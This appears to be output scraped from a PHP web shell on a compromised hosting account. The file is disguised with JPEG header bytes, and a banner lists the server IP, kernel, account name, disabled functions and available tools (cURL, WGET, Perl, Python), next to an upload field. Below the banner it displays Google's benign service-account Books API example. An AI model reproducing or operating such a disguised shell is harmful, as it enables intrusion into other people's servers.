ÿØÿà JPEG ÿþ;
Server IP : 68.65.120.201 / Your IP : 216.73.216.221 Web Server : LiteSpeed System : Linux server179.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64 User : taxhyuvu ( 2294) PHP Version : 8.1.32 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/taxhyuvu/www/vendor/google/apiclient/examples/ |
Upload File : |
<?php /* * Copyright 2013 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ include_once __DIR__ . '/../vendor/autoload.php'; include_once "templates/base.php"; echo pageHeader("Service Account Access"); /************************************************ Make an API request authenticated with a service account. ************************************************/ $client = new Google\Client(); /************************************************ ATTENTION: Fill in these values, or make sure you have set the GOOGLE_APPLICATION_CREDENTIALS environment variable. You can get these credentials by creating a new Service Account in the API console. Be sure to store the key file somewhere you can get to it - though in real operations you'd want to make sure it wasn't accessible from the webserver! Make sure the Books API is enabled on this account as well, or the call will fail. ************************************************/ if ($credentials_file = checkServiceAccountCredentialsFile()) { // set the location manually $client->setAuthConfig($credentials_file); } elseif (getenv('GOOGLE_APPLICATION_CREDENTIALS')) { // use the application default credentials $client->useApplicationDefaultCredentials(); } else { echo missingServiceAccountDetailsWarning(); return; } $client->setApplicationName("Client_Library_Examples"); $client->setScopes(['https://www.googleapis.com/auth/books']); $service = new Google\Service\Books($client); /************************************************ We're just going to make the same call as in the simple query as an example. ************************************************/ $query = 'Henry David Thoreau'; $optParams = [ 'filter' => 'free-ebooks', ]; $results = $service->volumes->listVolumes($query, $optParams); ?> <h3>Results Of Call:</h3> <?php foreach ($results as $item) : ?> <?= $item['volumeInfo']['title'] ?> <br /> <?php endforeach ?> <?php pageFooter(__FILE__);